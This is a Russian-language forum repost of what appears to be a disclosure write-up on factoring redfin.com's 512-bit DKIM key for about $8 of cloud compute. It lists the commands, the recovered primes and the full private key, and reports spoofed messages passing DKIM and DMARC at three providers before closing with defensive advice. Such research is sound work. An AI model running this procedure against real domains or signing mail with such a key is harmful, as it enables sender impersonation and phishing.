Как мы взломали 512-разрядный ключ DKIM в облаке менее чем за $8

Добро пожаловать на наш форум!

Спасибо за посещение нашего сообщества. Пожалуйста, зарегистрируйтесь или войдите, чтобы получить доступ ко всем функциям.


Gibby

Автор
Команда проекта

Регистрация
Сообщений
1,635
Репутация
45
Сделок
3.png
В ходе нашего исследования, охватывавшего записи SPF, DKIM и DMARC на 1 миллионе самых популярных веб-сайтов мы с удивлением обнаружили более 1 700 открытых DKIM-ключей длиной менее 1 024 бит каждый. Эта находка нас удивила, поскольку RSA-ключи короче 1 024 бит расцениваются как небезопасные, и их не рекомендуется использовать в DKIM с 2018 года, когда был введён в действие документ RFC 8301.

Просто из любопытства мы решили проверить, а удастся ли нам взломать один из таких ключей. Мы стремились извлечь закрытый ключ из открытого RSA-ключа, так, чтобы можно было подписывать им электронные сообщения, выдавая себя за их подлинного отправителя. Кроме того, нас занимало, пройдут ли DKIM-верификацию электронные письма, подписанные таким скомпрометированным ключом. Мы решили проверить крупнейших провайдеров электронной почты — в частности, Gmail, Outlook.com и Yahoo Mail — вдруг они просто с порога откажутся проверять цифровые подписи, сгенерированные настолько коротким ключом.

Для нашего эксперимента мы выбрали домен redfin.com, на котором нашли 512-разрядный открытый RSA-ключ по адресу key1._domainkey.redfin.com (сейчас он уже не доступен):

Код:
$ dig +short TXT key1._domainkey.redfin.com
"k=rsa; p=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQ=="

Декодируем открытый RSA-ключ​

Открытый ключ, расположенный в метке p записи DKIM, закодирован в формате ASN.1 DER format, а затем закодирован как Base64. Чтобы декодировать ключ и далее получить модуль (n) и открытую экспоненту (e), мы воспользовались парой строк кода на Python:

Код:
$ python3
>>> from Crypto.PublicKey import RSA
>>> RSA.import_key('-----BEGIN PUBLIC KEY-----\n' + 'MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQ==' + '\n-----END PUBLIC KEY-----')
RsaKey(n=10709580243955269690347257968368575486652256021267387585731784527165077094358215924099792804326677548390607229176966588251215467367272433485332943072098119, e=65537)

Факторизация модуля RSA​

Имея модуль n, далее мы собирались определить два простых числа p и q, произведение которых равно n. Эффективно выполнить такой процесс, именуемый «факторизацией» — задача порой непростая. К счастью, мы нашли мощный опенсорсный инструмент CADO-NFS, предназначенный именно для этой цели. В нём предлагается очень простая в использовании реализация алгоритма «решето числового поля» (NFS). Это наиболее эффективный из известных методов факторизации больших целых чисел.

Поскольку на факторизацию требуется значительная вычислительная мощность, а мы не хотели занимать это задачей наши компьютеры на много суток, мы решили арендовать облачный сервер. Выбрали сервер с 8 выделенными виртуальными ядрами ЦП (серия AMD EPYC 7003 series) и 32 ГБ ОЗУ от Hetzner, в качестве операционной системы установили Ubuntu. Далее нам не составило труда настроить CADO-NFS:

Код:
git clone https://gitlab.inria.fr/cado-nfs/cado-nfs.git
cd cado-nfs
make

Чтобы гарантировать, что у сервера хватит памяти на решение этой задачи, мы добавили ещё и область подкачки размером 32 ГБ:

Код:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile

Мы приступили к факторизации, вызвав скрипт cado-nfs.py и сообщив ему n в качестве ввода:

Код:
./cado-nfs.py 10709580243955269690347257968368575486652256021267387585731784527165077094358215924099792804326677548390607229176966588251215467367272433485332943072098119

На нашем сервере с 8 виртуальными ядрами ЦП весь процесс занял примерно 86 часов, и мы успешно разложили n на p и q:

Код:
Info:Complete Factorization / Discrete logarithm: Total cpu/elapsed time for entire Complete Factorization 2.20529e+06/309865 [3d 14:04:25]
97850895333751392558280999318309697780438485965134147739065017624372104720767 109447953515671602102748820944693252789237215829169932130613751100276125683257

Вероятно, задача решалась бы ещё быстрее, если бы мы выбрали более мощный сервер или распределили рабочую нагрузку на несколько систем (такой процесс упрощается при помощи CADO-NFS), но мы никуда не торопились и вполне были готовы немного подождать.

Сборка закрытого RSA-ключа​

Определив p и q, мы имели в распоряжении все необходимые компоненты, чтобы собрать закрытый RSA-ключ. При этом мы пользовались Python и библиотекой PyCryptodome:

Код:
$ python3
>>> from Crypto.PublicKey import RSA
>>> from Crypto.Util.number import inverse
>>> p = 97850895333751392558280999318309697780438485965134147739065017624372104720767
>>> q = 109447953515671602102748820944693252789237215829169932130613751100276125683257
>>> e = 65537
>>> n = p * q
>>> phi = (p-1) * (q-1)
>>> d = inverse(e, phi)
>>> key = RSA.construct((n, e, d, p, q))
>>> private_key = key.export_key()
>>> print(private_key.decode())

В этих строках на Python выводится закрытый ключ в формате PEM, он готов к использованию:
Код:
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72
AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQJAPliEv2dKk4DyA54nbwEH
mSzfLEOiuD8dKXZW9GpMhou72DYYcc5YD0PeQW0uGGsusnTZXRU3Kd3cmVfeR+np
4QIhANhVpOQ440Gqlda3nqCOAag12jq8ET+qr1G7VL8x9PF/AiEA8flYr5rUO6Io
/5HRoHq6p7dA75PRK+7v79o0/ijfTjkCIEdWPpCPfckKomxykllpWnyIfZT+rUVs
WHHAL1r480erAiAz3xD87ALtGbESQE8gyM50n5sjAJwJf/odf7h2d4qPOQIhAKwr
Nv6s5cQiwbYgm1KND83nrkxe6uFQlu9ilkdwAIY4
-----END RSA PRIVATE KEY-----

Отправка тестовых сообщений, подписанных DKIM, с домена @redfin.com

Встроив закрытый RSA-ключ в нашу конфигурацию OpenDKIM, мы перешли к этапу тестирования. Соорудили простое электронное сообщение, в качестве адреса отправителя указали [email protected], а затем разослали это письмо на разные почтовые хостинги. Хотя, большинство провайдеров верно идентифицировали 512-разрядный ключ как небезопасный и отклонили нашу DKIM=подпись, три крупных провайдера — Yahoo Mail, Mailfence и Tuta — выдали нам результат dkim=pass.

Вот как распределились ответы по провайдерам:

  • Gmail: ОТКАЗ
  • Outlook: ОТКАЗ
  • Yahoo Mail: ПРОЙДЕНО
  • Zoho: ОТКАЗ
  • Fastmail: ОТКАЗ
  • Proton Mail: ОТКАЗ
  • Mailfence: ПРОЙДЕНО
  • Tuta: ПРОЙДЕНО
  • GMX: ОТКАЗ
  • OnMail: ОТКАЗ
Учитывая, что у redfin.com также есть действующая DMARC-запись (v=DMARC1;p=reject;pct=100;rua=mailto:[email protected];ruf=mailto:[email protected];ri=3600;fo=1;), прохождение DKIM-проверки нашим сообщением с redfin.com автоматически означает, что наше сообщение прошло и DMARC-верификацию. Соответственно, оно удовлетворяет требованиям BIMI.

Вместо заключения​

Тридцать лет назад взломать 512-разрядный открытый RSA-ключ можно было только на суперкомпьютере. Сегодня эта задача решаема за считанные часы на облачном сервере, за который придётся выложить $8. Если же у вас дома есть мощный компьютер с 16 или более ядрами, то эту задачу вы можете решить ещё скорее и экономичнее.

Соответственно, сегодня нецелесообразно использовать ключи из 512 или 768 разрядов. Сервисы электронной почты должны автоматически отклонять любую DKIM-сигнатуру, сгенерированную RSA-ключом короче 1 024 разрядов. Мы довели до сведения Yahoo, Mailfence и Tuta результаты нашего исследования и поделились с этими компаниями нашими советами.

Владельцы доменов должны принимать меры, регулярно проверяя свои DNS-настройки на наличие каких-либо устаревших DKIM-записей, не соответствующих стандарту «минимум 1024 разряда». Проще всего это сделать, проверив в записи DKIM метку p и подсчитав её символы Base64: в открытом 1024-разрядном RSA-ключе здесь будет не менее 216 символов.
 
Сверху